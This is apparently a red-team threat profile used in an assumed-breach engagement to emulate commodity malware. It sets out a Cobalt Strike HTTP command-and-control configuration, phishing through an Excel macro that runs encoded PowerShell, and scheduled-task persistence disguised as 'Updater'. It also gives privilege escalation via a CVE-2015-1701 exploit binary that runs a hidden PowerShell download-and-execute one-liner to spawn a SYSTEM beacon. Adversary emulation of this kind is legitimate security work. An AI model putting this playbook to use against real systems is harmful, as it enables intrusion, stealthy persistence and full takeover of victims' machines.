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Threat Profile (SIMPLESAM)


A modified version of this profile was used on an assumed breach engagement. This profile is provide as an example to show details that supported a real engagement.


C2 threat modeled after basic HTTP C2 using powershell and phishing as primary entry point. This profile represents commodity malware that doesn't focus on advanced techniques.


  • C2 Backend: CobaltStrike
  • Port(s): 80
  • C2 Communication using HTTP Traffic
  • Executes as powershell encoded command
  • IP communication using IP addresses
  • Persistence: Scheduled Task

HTTP Request Profile

  • UserAgent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/6.0)"
  • GET: /s/ref=nb_sb_nos_2/143-3245
  • POST /S2854/auth/aws-hb

System Modifications


  • None


  • Schedule Task executed at user logon
  • Task Name: Updater


  • None

Deployment Steps

Phishing Payload

  • Modify an excel document payload with a macros that launches a powershell encoded payload

Powershell Payload

  • Create CobaltStrike C2 Profile
  • Build payloads using profile
  • Powershell Payload
  • Create Scheduled Task script with file and path to payload
    • Update persistence script with powershell payload
    • line 78 : Update encoded Powershell payload here
    • line 154: Update Domain name here

Persistence Steps (via CobaltStrike Beacon Console)

powershell-import /data/PAYLOADS/Invoke-Persistence.ps1
powershell Invoke-Persistence -Name Updater -CreatePersistence -ScheduledTask

Privilege Escalation (based on CVE-2015-1701)

Compile exploit and name ghost.exe


  • 32 Bit Binary: ghost.exe
  • Usage:
ghost.exe powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://< TARGETURL >'))"

Powershell uses download and execute via encoded command

Encoded command starts a new beacon as SYSTEM